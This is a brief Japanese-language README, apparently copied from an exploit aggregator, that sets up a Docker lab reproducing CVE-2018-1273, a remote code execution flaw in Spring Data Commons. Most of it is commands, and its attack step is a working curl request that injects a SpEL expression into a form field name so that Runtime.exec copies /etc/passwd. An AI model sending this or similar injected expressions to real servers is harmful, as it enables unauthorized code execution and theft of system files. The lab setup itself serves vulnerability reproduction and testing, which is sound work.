Exploit for CVE-2018-1273

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KNQYF263-CVE-2018-1273
# CVE-2018-1273

CVE-2018-1273 の環境

CVE-2018-1273: Spring Data Commons における RCE  
https://pivotal.io/security/cve-2018-1273

## アプリケーション

https://github.com/spring-projects/spring-data-examples/tree/master/web/example

## ビルド

root@kitploit:~
    
    
    $ docker build -t cve-2018-1273 .
    

## 実行

root@kitploit:~
    
    
    $ docker run -d -p 8080:8080 cve-2018-1273 
    

## Web

http://localhost:8080/users/

## 攻撃

root@kitploit:~
    
    
    $ curl -v -d 'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("cp /etc/passwd /tmp")]=test' 'http://localhost:8080/users/'